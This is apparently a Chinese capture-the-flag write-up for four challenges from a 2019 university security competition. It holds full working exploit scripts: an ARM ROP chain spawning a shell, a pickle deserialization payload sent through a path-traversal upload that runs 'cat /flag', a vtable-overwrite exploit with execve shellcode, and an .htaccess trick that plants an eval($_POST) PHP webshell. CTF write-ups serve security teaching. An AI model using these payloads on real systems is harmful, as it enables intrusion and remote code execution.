第十二届全国大学生信息安全竞赛创新实践能力赛华东北赛区WP

  XCTF联赛小秘       2019-06-05 14:20:51 3293  0

easy_arm

首先checksec看下,arm32的程序

ida看下,很明显的一个栈溢出:


signed int sub_10590()
{
  char buf; // [sp+0h] [bp-24h]

  sub_10538();
  puts("your name:\n");
  read(0, &buf, 0x100u);
  printf("hello %s\n", &buf);
  return 1;
}

查看堆栈确定溢出到返回地址的偏移为0x24

查找合适的rop指令


# $ ropper -f 1 --search "pop"   
# [INFO] Load gadgets from cache
# [LOAD] loading... 100%
# [LOAD] removing double gadgets... 100%
# [INFO] Searching for gadgets: pop

# [INFO] File: 1
# 0x000103a4: pop {r3, pc}; 
# 0x000104f8: pop {r4, pc}; 
# 0x00010638: pop {r4, r5, r6, r7, r8, sb, sl, pc}; andeq r0, r1, r8, lsl sb; andeq r0, r1, r0, lsl sb; bx lr; 
# 0x00010638: pop {r4, r5, r6, r7, r8, sb, sl, pc}; andeq r0, r1, r8, lsl sb; andeq r0, r1, r0, lsl sb; bx lr; push {r3, lr}; pop {r3, pc}; 
# 0x000104e8: popne {r4, pc}; bl #0x470; mov r3, #1; strb r3, [r4]; pop {r4, pc}; 


# $ ropper -f 1 --search "mov r0"                      
# [INFO] Load gadgets for section: PHDR
# [LOAD] loading... 100%
# [INFO] Load gadgets for section: LOAD
# [LOAD] loading... 100%
# [LOAD] removing double gadgets... 100%
# [INFO] Searching for gadgets: mov r0

# [INFO] File: 1
# 0x00010628: mov r0, r7; blx r3;

先去泄露libc,这里借助0x00010628去执行命令,r0为参数1,r3为函数地址。再借助0x000103a40x00010638去设置r3 与r7寄存器的值。构造payload去泄露libc地址,运行多次发现泄露的地址都是一样的,再次使用提供的Libc得到system和/bin/sh地址,最后getshell。

exp入下:

from pwn import *

context.arch = 'arm'
context.log_level = 'debug'

#pwn = process(["qemu-arm", "-L", "/usr/arm-linux-gnueabi", "./1"])
pwn=remote("127.0.0.1",9999)
pwn.recvuntil("name:")

#由于基地址不变直接打两次,第一次获取libc第二次getshell。
elf = ELF('./1')
libc= ELF('./libc-2.23.so')
got_setbuf = elf.got['setbuf']
plt_puts = elf.plt['puts']
'''
payload = 'a'*0x24+p32(0x00010638)+p32(0) * 3 + p32(got_setbuf) + p32(0) * 3 + p32(0x000103a4) + p32(plt_puts) + p32(0x00010628)
pwn.sendline(payload)
#print pwn.recv()
setbuf_addr = u32(pwn.recvuntil('\xf6')[-4:])
libc_base = setbuf_addr - libc.sym['setbuf']
system_addr = libc_base+libc.sym['system']
libc_binsh=next(libc.search("/bin/sh"))+libc_base
print hex(libc_base)
print hex(system_addr)
print hex(libc_binsh)
'''
# 0xf666e000
# 0xf66a6634
# 0xf678f21c

# 0xf6689000
# 0xf66c1634
# 0xf67aa21c

payload = 'a'*0x24+p32(0x00010638)+p32(0) * 3 + p32(0xf67aa21c) + p32(0) * 3 + p32(0x000103a4) + p32(0xf66c1634) + p32(0x00010628)
pwn.sendline(payload)
pwn.interactive()

spy

源码审计

设置好恶意服务器的地址后即可与服务器通信(恶意软件还要用户自己填写地址,简直不可思议),抓包即可发现一组加密数据的通信,通过逆向apk发现以下代码:


  public void run() {
            while(true) {
                JSONObject v0 = new JSONObject();
                try {
                    v0.put("makers", SystemUtil.getDeviceBrand());
                    v0.put("model", SystemUtil.getSystemModel());
                    v0.put("language", SystemUtil.getSystemLanguage());
                    v0.put("Android", SystemUtil.getSystemVersion());
                    v0.put("IMEI", SystemUtil.getIMEI(MainActivity.this.getApplicationContext()));
                    String v0_2 = v0.toString();
                    HttpUnit.post("http://" + HttpUnit.baseHOST + "/", RsaUnit.private_encrypt(v0_2));
                    Thread.sleep(300000);
                }
                catch(Exception v0_1) {
                    v0_1.printStackTrace();
                }
            }
        }

软件每五分钟将手机的敏感信息通过私钥加密发送至服务器,通过阅读RsaUnit可以找到私钥:


MIICeAIBADANBgkqhkiG9w0BAQEFAASCAmIwggJeAgEAAoGBAKq1dQhWg9RwFXVa\nXeDysYY28xgiaidB0wLVjxRLAjB/tjQZwE/+Hp8Ak8BL3/+phnPLxl8MofX57OJ8\nUUJRMIJr/xpgWiazbbeiTLN5OVQhEdsiS2jUnFg5rNuwTr4qYT7ImKKPjzf1Ji4L\nUqwtZPza4cQDcdq78NPNbiDjGG/NAgMBAAECgYBUdazusCdPbxke09QI3Oq6VeuW\ncEiHHckx6Ml+p9Hwfu99/ZOpwDgUQSvZA3FTQ+PS3OpL0qs7USlDsXBe2F6gCZ/e\n1BvkEPE/FymHbzbSpr8BwjEel/kup842z11SujNxHbeznrXKNfvDlqR5HM7CurYE\nrBW0X8She8lNAqXBXQJBANj3pPvSHFQ4ugkWst6XCX/gd5vQuvPzeUwHpReSdRsm\nA6Jmv8oP03MQzjvsyrMoPatMzhN5Qtfpw12Febfl1pcCQQDJa2RGtK2jCiKxzKcb\nUp9pPiSxtsdavneKoCG/tndICyGfeT1NRGSQsJCHIhxdee4QQYWUrzhbFBLLZDq4\nsj07AkEAykt0T7si4MAXbPv2AKZQnCN9QhGHDof3k5UZL/ZFK+/wuY4Vyl+hJosH\nz0XD5PFjNoGhLvUEBu6VUnBuAbHRtwJBAKysnHLhQlqbvdKfmEMcOf2HgP25rH5m\n+ySk00n/q5LfuBt3XM54653/QGgZHigk96qIAXTOIooyU0p6yry8UTECQQCy8tuf\nlq8/8ISRdkHixENX+APeYr4hjmn5mUFJgB4qFUp1ReR0nA2oGf6IkzAWEwLvEchu\nKMtF7eEv1kHS+3Wd

接下来看网站的源码:只有一个index.py


from flask import Flask,request
import cPickle,json,re,M2Crypto
app = Flask(__name__)
class Phone(object):
    def __init__(self,makers='',model='',language='',Android='',IMEI=''):
        self.makers = makers
        self.model = model 
        self.language = language 
        self.Android = Android 
        self.IMEI = IMEI 
def public_decrypt(msg):
    sign_pub='''
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCqtXUIVoPUcBV1Wl3g8rGGNvMY
ImonQdMC1Y8USwIwf7Y0GcBP/h6fAJPAS9//qYZzy8ZfDKH1+ezifFFCUTCCa/8a
YFoms223okyzeTlUIRHbIkto1JxYOazbsE6+KmE+yJiij4839SYuC1KsLWT82uHE
A3Hau/DTzW4g4xhvzQIDAQAB
-----END PUBLIC KEY-----
'''
    bio = M2Crypto.BIO.MemoryBuffer(sign_pub)
    rsa_pub = M2Crypto.RSA.load_pub_key_bio(bio)
    ctxt_pri = msg.decode("base64")
    output = rsa_pub.public_decrypt(ctxt_pri, M2Crypto.RSA.pkcs1_padding)
    return output
@app.route("/",methods=['POST','GET'])
def hello():
    try:
        data  = public_decrypt(request.data)
        phone = json.loads(data)
        imei = phone["IMEI"]
        if re.match("^\d{15}$",imei):
            file = open("./phone/"+imei,'wb')
            newPhone = Phone(phone["makers"],phone["model"],phone["language"],phone["Android"],phone["IMEI"])
            phonestring = cPickle.dump(newPhone,file)
    except Exception as e:
        print e
    return ""
@app.route("/search",methods=['POST','GET'])
def search():
    try:
        print "xxxx"+request.form.get("imei")
        imei = public_decrypt(request.form.get("imei"))
        if re.match("^\d{15}$",imei):
            f = open("./phone/"+imei)
            phone = cPickle.load(f)
            return phone.makers+'\n'+phone.model+'\n'+phone.language+'\n'+phone.Android+'\n'+phone.IMEI
    except Exception as e:
        print e
        return ""
    return ""
@app.route("/upload",methods=['POST','GET'])
def upload():
    try:
        f = request.files['myfile']
        f.save("./image/"+f.filename)
    except Exception as e:
        print e
        return ""
    return ""
@app.route("/check",methods=['POST','GET'])
def check():
    try:
        name = request.form.get('myfile')
        if re.match("^\d{15}$",name):
            f = open("./image/"+name,"rb")
            return f.read()
    except Exception as e:
        print e
        return ""
    return ""
if __name__ == '__main__':
    app.run(debug=False, host='0.0.0.0')

总共四个功能:

  • 根目路:利用获得的手机敏感信息新建一个对象,并序列化保存
  • search:通过imei号,反序列化已经存储的手机对象的序列化字符串,获得一个手机的对象
  • upload:猜测是软件想将手机截屏上传至此目录,但apk里并未实现此功能
  • check:checker访问的api,检测upload功能是否可用

漏洞点

发现upload这个api未对上传文件名进行检查,导致任意路径上传文件,即可上传到phone文件夹下一个恶意的反序列化字符串,再通过search这个api反序列化恶意字符串即可完成任意命令执行。

读取flag

可以反弹shell读取flag,这里因为存在search接口,所以可以将flag信息保存到一个正确的反序列化字符串中,当这个字符串被反序列化为手机对象时,即可通过search这个api直接看到flag

利用流程

  1. 构造正常的手机对象并提交
  2. 构造恶意的手机对象,通过上传路径提交
  3. 读取恶意对象,将flag信息保存到正常对象中
  4. 读取正常对象

利用脚本

这里先要对apk中的私钥进行转换:

通过jeb在RsaUint中获得私钥

"MIICeAIBADANBgkqhkiG9w0BAQEFAASCAmIwggJeAgEAAoGBAKq1dQhWg9RwFXVa\nXeDysYY28xgiaidB0wLVjxRLAjB/tjQZwE/+Hp8Ak8BL3/+phnPLxl8MofX57OJ8\nUUJRMIJr/xpgWiazbbeiTLN5OVQhEdsiS2jUnFg5rNuwTr4qYT7ImKKPjzf1Ji4L\nUqwtZPza4cQDcdq78NPNbiDjGG/NAgMBAAECgYBUdazusCdPbxke09QI3Oq6VeuW\ncEiHHckx6Ml+p9Hwfu99/ZOpwDgUQSvZA3FTQ+PS3OpL0qs7USlDsXBe2F6gCZ/e\n1BvkEPE/FymHbzbSpr8BwjEel/kup842z11SujNxHbeznrXKNfvDlqR5HM7CurYE\nrBW0X8She8lNAqXBXQJBANj3pPvSHFQ4ugkWst6XCX/gd5vQuvPzeUwHpReSdRsm\nA6Jmv8oP03MQzjvsyrMoPatMzhN5Qtfpw12Febfl1pcCQQDJa2RGtK2jCiKxzKcb\nUp9pPiSxtsdavneKoCG/tndICyGfeT1NRGSQsJCHIhxdee4QQYWUrzhbFBLLZDq4\nsj07AkEAykt0T7si4MAXbPv2AKZQnCN9QhGHDof3k5UZL/ZFK+/wuY4Vyl+hJosH\nz0XD5PFjNoGhLvUEBu6VUnBuAbHRtwJBAKysnHLhQlqbvdKfmEMcOf2HgP25rH5m\n+ySk00n/q5LfuBt3XM54653/QGgZHigk96qIAXTOIooyU0p6yry8UTECQQCy8tuf\nlq8/8ISRdkHixENX+APeYr4hjmn5mUFJgB4qFUp1ReR0nA2oGf6IkzAWEwLvEchu\nKMtF7eEv1kHS+3Wd"

手工修改为标准pem格式,加上头和尾的标记字符串,把\n换成换行符,并保存为sign.pem文件

-----BEGIN PRIVATE KEY-----
MIICeAIBADANBgkqhkiG9w0BAQEFAASCAmIwggJeAgEAAoGBAKq1dQhWg9RwFXVa
XeDysYY28xgiaidB0wLVjxRLAjB/tjQZwE/+Hp8Ak8BL3/+phnPLxl8MofX57OJ8
UUJRMIJr/xpgWiazbbeiTLN5OVQhEdsiS2jUnFg5rNuwTr4qYT7ImKKPjzf1Ji4L
UqwtZPza4cQDcdq78NPNbiDjGG/NAgMBAAECgYBUdazusCdPbxke09QI3Oq6VeuW
cEiHHckx6Ml+p9Hwfu99/ZOpwDgUQSvZA3FTQ+PS3OpL0qs7USlDsXBe2F6gCZ/e
1BvkEPE/FymHbzbSpr8BwjEel/kup842z11SujNxHbeznrXKNfvDlqR5HM7CurYE
rBW0X8She8lNAqXBXQJBANj3pPvSHFQ4ugkWst6XCX/gd5vQuvPzeUwHpReSdRsm
A6Jmv8oP03MQzjvsyrMoPatMzhN5Qtfpw12Febfl1pcCQQDJa2RGtK2jCiKxzKcb
Up9pPiSxtsdavneKoCG/tndICyGfeT1NRGSQsJCHIhxdee4QQYWUrzhbFBLLZDq4
sj07AkEAykt0T7si4MAXbPv2AKZQnCN9QhGHDof3k5UZL/ZFK+/wuY4Vyl+hJosH
z0XD5PFjNoGhLvUEBu6VUnBuAbHRtwJBAKysnHLhQlqbvdKfmEMcOf2HgP25rH5m
+ySk00n/q5LfuBt3XM54653/QGgZHigk96qIAXTOIooyU0p6yry8UTECQQCy8tuf
lq8/8ISRdkHixENX+APeYr4hjmn5mUFJgB4qFUp1ReR0nA2oGf6IkzAWEwLvEchu
KMtF7eEv1kHS+3Wd
-----END PRIVATE KEY-----

转化为pkcs1,即可在python中使用

openssl rsa -in sign.pem -out sign_p1.pem

这里利用了M2Crypto可以实现python中的私钥加密,而rsa只能实现公钥加密

import cPickle,M2Crypto,os,urllib,requests
BaseUrl="http://127.0.0.1:8001/"
sign_pri='''
-----BEGIN RSA PRIVATE KEY-----
MIICXgIBAAKBgQCqtXUIVoPUcBV1Wl3g8rGGNvMYImonQdMC1Y8USwIwf7Y0GcBP
/h6fAJPAS9//qYZzy8ZfDKH1+ezifFFCUTCCa/8aYFoms223okyzeTlUIRHbIkto
1JxYOazbsE6+KmE+yJiij4839SYuC1KsLWT82uHEA3Hau/DTzW4g4xhvzQIDAQAB
AoGAVHWs7rAnT28ZHtPUCNzqulXrlnBIhx3JMejJfqfR8H7vff2TqcA4FEEr2QNx
U0Pj0tzqS9KrO1EpQ7FwXtheoAmf3tQb5BDxPxcph2820qa/AcIxHpf5LqfONs9d
UrozcR23s561yjX7w5akeRzOwrq2BKwVtF/EoXvJTQKlwV0CQQDY96T70hxUOLoJ
FrLelwl/4Heb0Lrz83lMB6UXknUbJgOiZr/KD9NzEM477MqzKD2rTM4TeULX6cNd
hXm35daXAkEAyWtkRrStowoiscynG1KfaT4ksbbHWr53iqAhv7Z3SAshn3k9TURk
kLCQhyIcXXnuEEGFlK84WxQSy2Q6uLI9OwJBAMpLdE+7IuDAF2z79gCmUJwjfUIR
hw6H95OVGS/2RSvv8LmOFcpfoSaLB89Fw+TxYzaBoS71BAbulVJwbgGx0bcCQQCs
rJxy4UJam73Sn5hDHDn9h4D9uax+ZvskpNNJ/6uS37gbd1zOeOud/0BoGR4oJPeq
iAF0ziKKMlNKesq8vFExAkEAsvLbn5avP/CEkXZB4sRDV/gD3mK+IY5p+ZlBSYAe
KhVKdUXkdJwNqBn+iJMwFhMC7xHIbijLRe3hL9ZB0vt1nQ==
-----END RSA PRIVATE KEY-----
'''
def private_encrypt(data):
    rsa_pri = M2Crypto.RSA.load_key_string(sign_pri)
    ctxt_pri = rsa_pri.private_encrypt(data, M2Crypto.RSA.pkcs1_padding) 
    ctxt64_pri = ctxt_pri.encode('base64')
    return ctxt64_pri
data1 = '{"Android": "8.0.0", "IMEI": "867391035912345", "model": "MI 2", "makers": "Xiaomi", "language": "zh"}'
a = requests.Session()
a.post(url=BaseUrl,data=private_encrypt(data1),headers={'Content-Type':'xxx'})
class EXP(object):
    def reduce(self):
        return eval,("import('os').system('a=cat /flag;sed -i  \"s/867391035912345/$a/\" ./phone/867391035912345')",)
exp = EXP()
f = open("./exp",'wb')
cPickle.dump(exp,f)
f.close()
files = {'myfile':("../phone/123456789012345",open('./exp','rb'))}
a.post(BaseUrl+"upload",files=files)
data2 = {"imei":private_encrypt("123456789012345")}
data3 = {"imei":private_encrypt("867391035912345")}
a.post(BaseUrl+'search',data=data2)
r = a.post(BaseUrl+'search',data=data3)
print r.text

money_game

checksec看下,堆栈可执行

ida分析下,首先是充钱才能申请更多的数组,充钱只能充一次,并且如果是充一个负数的话,会首先neg一下,再去跟30比较,如果大于30那么就赋值为30,但是这里比较使用的是有符号的比较,这里使用一个大负数-9223372036854775808可以去绕过这个比较。因为其neg之后作为有符号数还是-9223372036854775808,仍然小于30。

之后充值会可以去设置8字节的WeaponName,有一个全局变量qword_204088指向第一个数组的WeaponName,在编辑weapon的时候没有判断索引,可以向上覆盖去修改虚表,之后去调用虚表函数的时候可以控制程序流程去执行shellcode。

exp入下:

#!/usr/bin/env python
#-*- coding:utf-8 -*-
from pwn import *
import time
import argparse


context(arch = "amd64",os= "linux" )
context.log_level = 'DEBUG'
context.terminal = ['terminator', '-e']


IP = '127.0.0.1'
PORT = '9999'

target = "./2"

parser = argparse.ArgumentParser()
parser.add_argument('-d', '--debugger', action='store_true')
parser.add_argument('-r', '--remote', action='store_true')
parser.add_argument('-l', '--local', action='store_true')
args = parser.parse_args()

if args.remote:
    pwn = remote(IP, PORT)  
    libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
    elf = ELF(target)
elif args.local or args.debugger:
    # env = {"LD_PRELOAD": os.path.join(os.getcwd(), "libc.so.6")}
    env = {}
    pwn = process(target)
    if args.debugger:
        pwn = process(target)

    elf = ELF(target)
    proc_base = pwn.libs()[os.path.abspath(os.path.join(os.getcwd(), target))]
    libc_base = pwn.libs()['/lib/x86_64-linux-gnu/libc.so.6']
    libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
else:
    parser.print_help()
    exit()



def addweapon(name):
    pwn.recvuntil("Your choice:")
    pwn.sendline("2")
    pwn.recvuntil("input WeaponName:")
    pwn.sendline(name)

def editweapon(id,name):
    pwn.recvuntil("Your choice:")
    pwn.sendline("3")
    pwn.recvuntil("change Weapon id:")
    pwn.sendline(str(id))
    pwn.recvuntil("new Name:")
    pwn.sendline(name)

def showweapon(id):
    pwn.recvuntil("Your choice:")
    pwn.sendline("4")
    pwn.recvuntil("want to show?")
    pwn.sendline(str(id))

def charged():
    pwn.recvuntil("Your choice:")
    pwn.sendline("1")
    pwn.recvuntil("Money makes you stronger:")
    pwn.sendline(str(-9223372036854775808))

shellcode = """mov bx,0xFF97|
shl rbx,0x10|
mov bx,0x8CD0|
shl rbx,0x10|
mov bx,0x9196|
shl rbx,0x10|
mov bx,0x9dd1|
neg rbx
push rbx
xor eax, eax|
cdq
xor esi, esi
push rsp
pop rdi|
mov al, 0x3b
syscall""".split('|')

def asm64(cmd):
    return asm(cmd, arch = 'amd64', os = 'linux')

def split_code2():
    b = ''
    codelist = [] 
    for i in shellcode:
        i=i.replace('|',"")
        print len(asm64(i))
        b += asm64(i)
        b=b.ljust(6,'\x90')+'\xeb\x04'
        codelist.append(b)
        b = ''
    return codelist
def split_code():
    b = ''
    codelist = []
    for i in shellcode:
        b += asm64(i)
        if len(b) <6:
            b=b.ljust(6,'\x90')+'\xeb\x04'
            codelist.append(b)
            b = ''

    return codelist

#1. 大负数绕过有符号数的比较
charged()

#2. 堆上分段布置shellcode
shelllist=split_code2()
for x in shelllist:
    print x.encode('hex')
    addweapon(x)

#3. 泄露vtable
showweapon(-1)
pwn.recvuntil("Weapon name is:")

baseAddr = u64(pwn.recvuntil('\n')[:-1].ljust(8,'\0'))
print hex(baseAddr)
baseAddr =baseAddr-0x203DB8+0x204088
print hex(baseAddr)

#3. 修改vtable
editweapon(-1,p64(baseAddr))
pwn.recvuntil("Your choice:")
# getshell addweapon是vatable中的第一项,所以通过2去触发
pwn.sendline("2")
pwn.interactive()

upload2shell

测试


登录后是一个上传图片的页面,无法获得更多信息,于是上传文件进行测试

上传几M大小的文件提示filesize too big!

上传各种php类型文件提示illegal suffix!

上传非图片文件提示exif_imagetype:not image!

上传图片马提示<? in contents!

绕过

考虑通过上传htaccess设置 auto_append_file来绕过不能包括<?的限制:

首先构造1.jpg的原始内容如下:

GIF89a<?php eval($_POST[1]);

因为不能存在<?,所以将其进行base64加密,在设置auto_append_file时再将其base解密即可,最终1.jpg内容如下:

GIF89a12PD9waHAgZXZhbCgkX1BPU1RbMV0pOw==

<?php eval($_POST[1]);加密后为PD9waHAgZXZhbCgkX1BPU1RbMV0pOw==,添加图片头GIF89a,因为base64解码是4个字符转换为3个字符,所以将加密内容前凑足8个字符,保证密文能正常解密,所以密文前添加GIF89a12

上传该图片后,返回图片地址如下:

images/a2bddf5cc2d53d315921028855c7b550/1.jpg

于是构造.htaccess

AddType application/x-httpd-php .shell
php_value auto_append_file "php://filter/convert.base64-decode/resource=1.jpg"

使当前目录解析后缀为.shell的文件,同时在加载文件后会自动添加auto_append_file的内容

此时如果上传.htaccess会提示exif_imagetype:not image!,如果在开头添加GIF89a则.htaccess无法生效

现在如果能够绕过图片头检查,成功上传正确的.htaccess就能getshell了

所以需要绕过exif_imagetype:not image!

查看http://php.net/manual/en/function.exif-imagetype.php支持的图片类型,其中


而.htaccess中默认以#开头的行被认为是注释行,测试可以发现以0x00开头的行也被认为是注释行

于是使用16进制编辑器在第一行加入0x00,第二行开始加入.htaccess的设置,效果如下


上传修改后的.htaccess文件

此时再上传任意以.shell结尾的文件,访问以触发auto_append_file

上传1.shell内容为GIF89a

访问1.shell此时已经自动加载并执行了解码后的1.jpg中内容

于是连接http://localhost/images/a2bddf5cc2d53d315921028855c7b550/1.shell,密码为1,得到flag

请先登录
+1 已点过赞
0
分享到:
登录后才能发贴或参与互动哦! 点击登录

全部评论 (0)